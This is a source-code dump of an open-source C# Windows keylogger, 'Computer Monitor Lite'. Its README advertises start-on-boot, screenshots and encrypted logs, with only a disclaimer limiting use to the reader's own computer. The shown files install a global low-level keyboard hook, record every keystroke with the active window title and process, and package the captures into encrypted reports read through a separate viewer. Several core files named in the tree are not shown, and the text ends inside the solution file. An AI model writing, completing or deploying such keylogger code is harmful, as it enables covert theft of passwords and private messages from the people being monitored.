├── MonitorLite
├── Icons-Land-Vista-Hardware-Devices-Security-Camera.ico
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Program.cs
├── MonitorLiteUi.csproj
├── Form1.resx
├── Form1.cs
└── Form1.Designer.cs
├── MonitorLiteCore
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── ReportManagerEventArgs.cs
├── WindowChangeMonitorEventArgs.cs
├── KeyboardMonitorEventArgs.cs
├── ReportManager.cs
├── Keylog.cs
├── MonitorLiteManager.cs
├── KeyboardMonitor.cs
├── Hotkey.cs
├── WindowChangeMonitor.cs
├── KeylogManager.cs
├── MonitorSettings.cs
├── MonitorLite.cs
├── MonitorLiteCore.csproj
├── NativeMethods.cs
└── Helpers.cs
├── MonitorLiteViewer
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── LogViewer.cs
├── Helpers.cs
├── BetterListView.cs
├── MonitorLiteViewer.csproj
├── LogViewerForm.cs
├── LogViewerForm.resx
└── LogViewerForm.Designer.cs
├── README.md
├── MonitorLiteCommon
├── Properties
│ └── AssemblyInfo.cs
├── Lock.cs
├── MonitorLiteCommon.csproj
├── Report.cs
└── Cryptographics.cs
├── MonitorLite.sln
└── .gitignore
/MonitorLite/Icons-Land-Vista-Hardware-Devices-Security-Camera.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Paskowsky/Computer-Monitor-Lite/HEAD/MonitorLite/Icons-Land-Vista-Hardware-Devices-Security-Camera.ico
--------------------------------------------------------------------------------
/MonitorLite/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/MonitorLiteCore/ReportManagerEventArgs.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 |
6 | namespace MonitorLiteCore
7 | {
8 | class ReportManagerEventArgs : EventArgs
9 | {
10 | public Report Report { get; private set; }
11 | public ReportManagerEventArgs(Report r)
12 | {
13 | Report = r;
14 | }
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/LogViewer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace MonitorLiteViewer
6 | {
7 | public class LogViewer
8 | {
9 | private LogViewerForm _form;
10 |
11 |
12 |
13 | public void ShowLogViewer(string logFolder,string logExt)
14 | {
15 | if(_form == null)
16 | {
17 | _form = new LogViewerForm(logFolder,logExt);
18 | }
19 |
20 | if (_form.Visible)
21 | {
22 | _form.Focus();
23 | }
24 | else
25 | {
26 | _form.Show();
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Computer Monitor Lite
2 |
3 | An open source keylogger.
4 |
5 | ## Features
6 | * Start/Stop
7 | * Encrypted logs (Private-Public KeyPair)
8 | * Start on computer execution
9 | * Take screenshots
10 | * Hot key to show interface
11 | * Custom report folder
12 | * Custom report extension
13 | * Log viewer
14 |
15 | ## Disclaimer
16 | This source code was written for educational purposes only.
17 | This software is intendet solely to be used for monitoring your own private, personal computers. You are not, under any circumstances, meant to be using it on another computer.
18 |
19 | ## Screenshot
20 | 
21 | 
22 |
23 | ENJOY
24 |
25 |
--------------------------------------------------------------------------------
/MonitorLiteCore/WindowChangeMonitorEventArgs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Text;
5 |
6 | namespace MonitorLiteCore
7 | {
8 | class WindowChangeMonitorEventArgs : EventArgs
9 | {
10 | public IntPtr hWnd { get; private set; }
11 | public string WindowTitle { get; private set; }
12 | public Process WindowProcess { get; private set; }
13 |
14 | public WindowChangeMonitorEventArgs(IntPtr hWnd)
15 | {
16 | this.hWnd = hWnd;
17 | this.WindowTitle = NativeMethods.GetTitleFromHandle(hWnd);
18 | this.WindowProcess = NativeMethods.GetProcessFromWindowHandle(hWnd);
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/MonitorLite/Program.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCore;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteUi
8 | {
9 | static class Program
10 | {
11 | internal static string monitorSettingPath = "monitor.config";
12 | ///
13 | /// The main entry point for the application.
14 | ///
15 | [STAThread]
16 | static void Main()
17 | {
18 | MonitorSettings settings = MonitorLiteManager.GetDefaultSettings();
19 | if (File.Exists(monitorSettingPath))
20 | {
21 | byte[] settingsData = File.ReadAllBytes(Program.monitorSettingPath);
22 | settings = MonitorLiteManager.ReadSettings(settingsData);
23 | }
24 |
25 | Application.EnableVisualStyles();
26 | Application.SetCompatibleTextRenderingDefault(false);
27 | Application.Run(new Form1(settings));
28 | }
29 |
30 |
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/MonitorLite/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteUi.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteCore.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteViewer.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/MonitorLiteCore/KeyboardMonitorEventArgs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteCore
8 | {
9 | internal class KeyboardMonitorEventArgs : CancelEventArgs
10 | {
11 | private readonly NativeMethods.KeyboardMessage _message;
12 | private NativeMethods.KeyboardState _state;
13 |
14 | public KeyboardMonitorEventArgs(
15 | NativeMethods.KeyboardMessage message,
16 | ref NativeMethods.KeyboardState state
17 | )
18 | {
19 | _message = message;
20 | _state = state;
21 | }
22 |
23 |
24 | public string ToLog()
25 | {
26 | Console.WriteLine(_state.Flag);
27 | bool specialKeyword;
28 | string s;
29 | if (!Helpers.TryConvertToLog((ushort)_state.KeyCode, out s, out specialKeyword))
30 | return string.Empty;
31 |
32 | string format = "{0}";
33 | if (specialKeyword)
34 | {
35 | format = "[SPECIAL]{0}[/SPECIAL]";
36 | }
37 |
38 | return string.Format(format, s);
39 | }
40 |
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/MonitorLiteCore/ReportManager.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Drawing;
5 | using System.Text;
6 |
7 | namespace MonitorLiteCore
8 | {
9 | static class ReportManager
10 | {
11 | private static StringBuilder report = new StringBuilder();
12 | private static Lock reportLock = Lock.Create();
13 |
14 | public static event EventHandler OnReport;
15 |
16 | public static int MaxReportSize { get; set; }
17 |
18 | public static void AppendToReport(Keylog log)
19 | {
20 | reportLock.EnterReadLock();
21 | if((log == null && report.Length > 0) || (report.Length > MaxReportSize * 1024))
22 | {
23 | ExportReport(report.ToString());
24 | report = new StringBuilder();
25 | }
26 | reportLock.ExitReadLock();
27 |
28 | if (log != null)
29 | {
30 | reportLock.EnterWriteLock();
31 | report.AppendLine(log.Export());
32 | reportLock.ExitWriteLock();
33 | }
34 | }
35 |
36 | private static void ExportReport(string report)
37 | {
38 | Report r = Report.CreateTextReport("Logs", report);
39 |
40 |
41 |
42 | OnReport?.Invoke(null, new ReportManagerEventArgs(r));
43 | }
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/MonitorLite/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MonitorLite")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("MonitorLite")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("71d29361-f23d-4b7a-9f73-72bc11d364d4")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MonitorLiteCore")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("MonitorLiteCore")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("0ad0dc7f-8f8d-42da-9c0c-c6791bef31be")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/MonitorLiteCommon/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MonitorLiteCommon")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("MonitorLiteCommon")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("d6eef8fc-27e8-49f9-82c9-9b667b22594e")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MonitorLiteViewer")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("MonitorLiteViewer")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("eb5fc013-fc2d-4373-827e-43c722fdc7b9")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Helpers.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteViewer
8 | {
9 | static class Helpers
10 | {
11 |
12 | public static Report DecryptReport(byte[] reportData, string privateKey)
13 | {
14 | byte[] data = Cryptographics.HashVerify(reportData, privateKey);
15 | data = Cryptographics.Decrypt(data, privateKey);
16 | return Report.DeserializeReport(data);
17 | }
18 |
19 | public static string ReportToHtml(Report report)
20 | {
21 | StringBuilder sb = new StringBuilder();
22 |
23 | sb.Append("");
24 |
25 | sb.AppendFormat("{0}
{1}
",report.Title, report.Date.ToShortDateString() + " " + report.Date.ToShortTimeString());
26 |
27 | switch (report.ContentType)
28 | {
29 | case Report.REPORT_TEXT:
30 | {
31 | sb.AppendFormat("", report.ToText());
32 | }
33 | break;
34 | case Report.REPORT_IMAGE:
35 | {
36 | sb.AppendFormat("
", Convert.ToBase64String(report.Content));
37 | }
38 | break;
39 | }
40 |
41 | sb.Append("");
42 |
43 | return sb.ToString();
44 | }
45 |
46 |
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/BetterListView.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteViewer
8 | {
9 | class BetterListView : ListView
10 | {
11 | public void AddItem(string text)
12 | {
13 | this.Items.Add(new ListViewItem(text));
14 | }
15 |
16 | [DllImport("uxtheme", CharSet = CharSet.Unicode)]
17 | public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList);
18 |
19 | public BetterListView()
20 | {
21 | this.View = View.Details;
22 | if (this.Columns.Count > 0)
23 | {
24 | Columns[0].Width = this.Width;
25 |
26 | }
27 |
28 | }
29 |
30 | protected override void OnHandleCreated(EventArgs e)
31 | {
32 | base.OnHandleCreated(e);
33 | SetWindowTheme(this.Handle, "explorer", null);
34 | }
35 |
36 | protected override void OnInvalidated(InvalidateEventArgs e)
37 | {
38 | if (this.Columns.Count == 1)
39 | {
40 | Columns[0].Width = this.Width - 4;
41 |
42 | }
43 | base.OnInvalidated(e);
44 | }
45 |
46 | protected override void OnColumnWidthChanging(ColumnWidthChangingEventArgs e)
47 | {
48 | if (this.Columns.Count == 1)
49 | {
50 | e.Cancel = true;
51 | e.NewWidth = this.Columns[e.ColumnIndex].Width;
52 | }
53 | else
54 |
55 | base.OnColumnWidthChanging(e);
56 | }
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Keylog.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteCore
8 | {
9 | internal class Keylog
10 | {
11 | public DateTime Date { get; private set; }
12 | public string WindowTitle { get; private set; }
13 | public string WindowProcessName { get; private set; }
14 | public string UserInput { get { return _userInput.ToString(); } }
15 |
16 | private Keylog(string windowTitle,Process process)
17 | {
18 | this.Date = DateTime.Now;
19 | this.WindowTitle = windowTitle;
20 | try
21 | {
22 | using (process)
23 | {
24 | this.WindowProcessName = process.ProcessName;
25 | }
26 | }
27 | catch
28 | {
29 | this.WindowProcessName = "Unknown";
30 | }
31 | _userInput = new StringBuilder();
32 | }
33 |
34 | private StringBuilder _userInput;
35 |
36 | public void AppendKeyboardEvent(KeyboardMonitorEventArgs e)
37 | {
38 |
39 | string s = e.ToLog();
40 |
41 | _userInput.Append(s);
42 |
43 | }
44 |
45 | public string Export()
46 | {
47 | return string.Format("TITLE : \"{0}\"\r\nPROCESS NAME : \"{1}\"\r\nDATE : {2} {3}\r\nCONTENT : \r\n{4}",this.WindowTitle,this.WindowProcessName,this.Date.ToShortDateString() ,this.Date.ToShortTimeString(),this.UserInput);
48 | }
49 |
50 | public static Keylog Create(WindowChangeMonitorEventArgs e)
51 | {
52 | Keylog k = new Keylog(e.WindowTitle, e.WindowProcess);
53 | return k;
54 | }
55 |
56 |
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/MonitorLiteCore/MonitorLiteManager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Windows.Forms;
5 |
6 | namespace MonitorLiteCore
7 | {
8 | public static class MonitorLiteManager
9 | {
10 | private static Hotkey hotKey;
11 |
12 | public static event EventHandler HotKeyPress;
13 |
14 |
15 | static MonitorLiteManager()
16 | {
17 | KeylogManager.Initialize();
18 |
19 |
20 | }
21 |
22 | public static MonitorLite CreateMonitor(MonitorSettings settings)
23 | {
24 | SetHotkey(settings.Hotkey);
25 | MonitorLite monitor = new MonitorLite(settings);
26 | ReportManager.OnReport += monitor.OnReport;
27 | return monitor;
28 | }
29 |
30 | private static void SetHotkey(char hotkey)
31 | {
32 | uint MOD_ALT = 0x0001;
33 | uint MOD_CONTROL = 0x0002;
34 |
35 | if(hotKey != null)
36 | {
37 | hotKey.Trigger -= HotKey_Trigger;
38 | hotKey.Close();
39 | }
40 |
41 | hotKey = Hotkey.Create(MOD_ALT | MOD_CONTROL, (Keys)Enum.Parse(typeof(Keys), hotkey.ToString(), true));
42 | hotKey.Trigger += HotKey_Trigger;
43 | }
44 |
45 | private static void HotKey_Trigger(object sender, EventArgs e)
46 | {
47 | HotKeyPress?.Invoke(null, EventArgs.Empty);
48 | }
49 |
50 | public static MonitorSettings GetDefaultSettings()
51 | {
52 | MonitorSettings settings = new MonitorSettings();
53 |
54 | return settings;
55 | }
56 |
57 | public static MonitorSettings ReadSettings(byte[] data)
58 | {
59 | return new MonitorSettings(data);
60 | }
61 |
62 | public static byte[] WriteSettings(MonitorSettings settings)
63 | {
64 | return settings.Export();
65 | }
66 |
67 |
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/MonitorLiteCore/KeyboardMonitor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 |
7 | namespace MonitorLiteCore
8 | {
9 | internal class KeyboardMonitor
10 | {
11 | public bool Installed { get { return _keyHookDelegate == null ? false : _keyHookDelegate.IsAllocated; } }
12 | private IntPtr _keyHook;
13 | private GCHandle _keyHookDelegate;
14 |
15 | public KeyboardMonitor()
16 | {
17 |
18 | }
19 |
20 | private int CallNextHook(int code,
21 | NativeMethods.KeyboardMessage message,
22 | ref NativeMethods.KeyboardState state)
23 | {
24 | if (code >= 0)
25 | {
26 | var e = new KeyboardMonitorEventArgs(message, ref state);
27 | OnKeyboardEvent(this,e);
28 | if (e.Cancel)
29 | return -1;
30 | }
31 | return NativeMethods.CallNextHookEx(IntPtr.Zero, code, message, ref state);
32 | }
33 |
34 | public void Install()
35 | {
36 | NativeMethods.DelegateKeyboardHook callback = new NativeMethods.DelegateKeyboardHook(CallNextHook);
37 | _keyHookDelegate = GCHandle.Alloc(callback);
38 | using (var process = Process.GetCurrentProcess())
39 | {
40 | using (var module = process.MainModule)
41 | {
42 | _keyHook = NativeMethods.SetWindowsHookEx(NativeMethods.WH_KEYBOARD_LL, callback, module.BaseAddress, 0);
43 |
44 | }
45 | }
46 | }
47 |
48 | public void Unistall()
49 | {
50 |
51 | if (Installed)
52 | {
53 | NativeMethods.UnhookWindowsHookEx(_keyHook);
54 | _keyHook = IntPtr.Zero;
55 | _keyHookDelegate.Free();
56 |
57 | }
58 | }
59 |
60 | public event EventHandler OnKeyboardEvent;
61 |
62 |
63 | }
64 |
65 |
66 | }
67 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Hotkey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Threading;
5 | using System.Windows.Forms;
6 |
7 | namespace MonitorLiteCore
8 | {
9 | public class Hotkey
10 | {
11 |
12 | private static uint WM_HOTKEY = 0x312;
13 |
14 | private static int id = 0;
15 | private uint _mod;
16 | private Keys _key;
17 |
18 | private Thread msgLoop;
19 | private Hotkey(uint mod, Keys key)
20 | {
21 | id++;
22 | _mod = mod;
23 | _key = key;
24 |
25 | msgLoop = new Thread(MessageLoop);
26 | msgLoop.SetApartmentState(ApartmentState.STA);
27 | msgLoop.Start();
28 | }
29 |
30 | public event EventHandler Trigger;
31 |
32 | private void MessageLoop()
33 | {
34 | bool flag;
35 |
36 | int currId = id;
37 | do
38 | {
39 | Thread.Sleep(3000);
40 | flag = NativeMethods.RegisterHotKey(IntPtr.Zero, currId, _mod, (uint)_key);
41 | } while (!flag);
42 | try
43 | {
44 | Message m = default(Message);
45 | while (NativeMethods.GetMessage(ref m, IntPtr.Zero, 0, 0))
46 | {
47 |
48 | if (m.Msg == WM_HOTKEY && m.WParam.ToInt32() == currId)
49 | {
50 | if (Trigger != null)
51 | Trigger(this, EventArgs.Empty);
52 | }
53 | }
54 | }
55 | catch (ThreadAbortException)
56 | {
57 | }
58 |
59 | }
60 |
61 | public void Close()
62 | {
63 |
64 | if (msgLoop.IsAlive)
65 | {
66 | msgLoop.Abort();
67 | //msgLoop.Join();
68 |
69 |
70 | }
71 | }
72 |
73 |
74 |
75 | public static Hotkey Create(uint mod, Keys key)
76 | {
77 | return new Hotkey(mod, key);
78 | }
79 |
80 |
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/MonitorLiteCommon/Lock.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace MonitorLiteCommon
6 | {
7 | public class Lock
8 | {
9 | readonly object lockObj;
10 | int recurseCount;
11 |
12 | ///
13 | /// Creates a new instance of this class
14 | ///
15 | ///
16 | public static Lock Create()
17 | {
18 | return new Lock();
19 | }
20 |
21 | ///
22 | /// Constructor
23 | ///
24 | Lock()
25 | {
26 | this.lockObj = new object();
27 | this.recurseCount = 0;
28 | }
29 |
30 | ///
31 | /// Enter read mode
32 | ///
33 | public void EnterReadLock()
34 | {
35 | System.Threading.Monitor.Enter(lockObj);
36 | if (recurseCount != 0)
37 | {
38 | System.Threading.Monitor.Exit(lockObj);
39 | throw new Exception("Recursive locks aren't supported");
40 | }
41 | recurseCount++;
42 | }
43 |
44 | ///
45 | /// Exit read mode
46 | ///
47 | public void ExitReadLock()
48 | {
49 | if (recurseCount <= 0)
50 | throw new Exception("Too many exit lock method calls");
51 | recurseCount--;
52 | System.Threading.Monitor.Exit(lockObj);
53 | }
54 |
55 | ///
56 | /// Enter write mode
57 | ///
58 | public void EnterWriteLock()
59 | {
60 | System.Threading.Monitor.Enter(lockObj);
61 | if (recurseCount != 0)
62 | {
63 | System.Threading.Monitor.Exit(lockObj);
64 | throw new Exception("Recursive locks aren't supported");
65 | }
66 | recurseCount--;
67 | }
68 |
69 | ///
70 | /// Exit write mode
71 | ///
72 | public void ExitWriteLock()
73 | {
74 | if (recurseCount >= 0)
75 | throw new Exception("Too many exit lock method calls");
76 | recurseCount++;
77 | System.Threading.Monitor.Exit(lockObj);
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/MonitorLiteCommon/MonitorLiteCommon.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {D6EEF8FC-27E8-49F9-82C9-9B667B22594E}
8 | Library
9 | Properties
10 | MonitorLiteCommon
11 | MonitorLiteCommon
12 | v2.0
13 | 512
14 |
15 |
16 | true
17 | full
18 | false
19 | bin\Debug\
20 | DEBUG;TRACE
21 | prompt
22 | 4
23 |
24 |
25 | pdbonly
26 | true
27 | bin\Release\
28 | TRACE
29 | prompt
30 | 4
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
52 |
--------------------------------------------------------------------------------
/MonitorLite.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MonitorLiteUi", "MonitorLite\MonitorLiteUi.csproj", "{71D29361-F23D-4B7A-9F73-72BC11D364D4}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MonitorLiteCore", "MonitorLiteCore\MonitorLiteCore.csproj", "{0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}"
9 | EndProject
10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MonitorLiteViewer", "MonitorLiteViewer\MonitorLiteViewer.csproj", "{EB5FC013-FC2D-4373-827E-43C722FDC7B9}"
11 | EndProject
